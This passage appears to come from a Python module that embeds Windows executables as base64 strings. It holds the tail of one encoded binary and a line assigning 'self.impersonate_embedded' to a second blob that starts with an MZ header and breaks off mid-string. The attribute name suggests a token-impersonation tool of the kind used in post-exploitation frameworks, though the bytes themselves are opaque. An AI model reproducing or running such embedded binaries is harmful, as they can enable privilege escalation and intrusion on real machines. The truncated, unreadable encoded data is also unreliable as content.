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lcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAQAQAQAA8KL4ogCjCKMQoyCjMKNIo1CjWKNgo2ijcKOIo5CjmKPAo8ij4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAFABAGgAAADIodCh2KEwrECsUKxYrGCsaKxwrHisgKyIrJisoKyorLCsuKzArMis0KzorPisCK0QrRitIK0oraCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK8AYAEAuAAAAFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis0KzYrOCs6KzwrPisAK0IrRCtGK0grSitMK04rUCtSK1QrVitYK1orXCteK2ArYitkK2YraCtsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrwAAAHABALABAADQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo6ijsKO4o8CjGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2Kfop/inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4YriiuOK5IrliuaK54roiumK6orriuyK7Yruiu+K4IrxivKK84r0ivWK9or3iviK+Yr6ivuK/Ir9iv6K/4rwAAAIABAIQAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIonCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAJABAKABAAAAoBCgIKAwoECgUKBgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCsAAAAwAEAEAAAAHivkK+YrwAAANABABQAAAAgoDigQKBIoFCgWKAA8AEASAAAAKihwKEIoiiiSKJoooiiuKLQotii4KIYoyCjcKh4qICoiKiQqJiooKioqLCouKjIqNCo2KjgqOio8Kj4qACpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') + self.impersonate_embedded = b64decode( + "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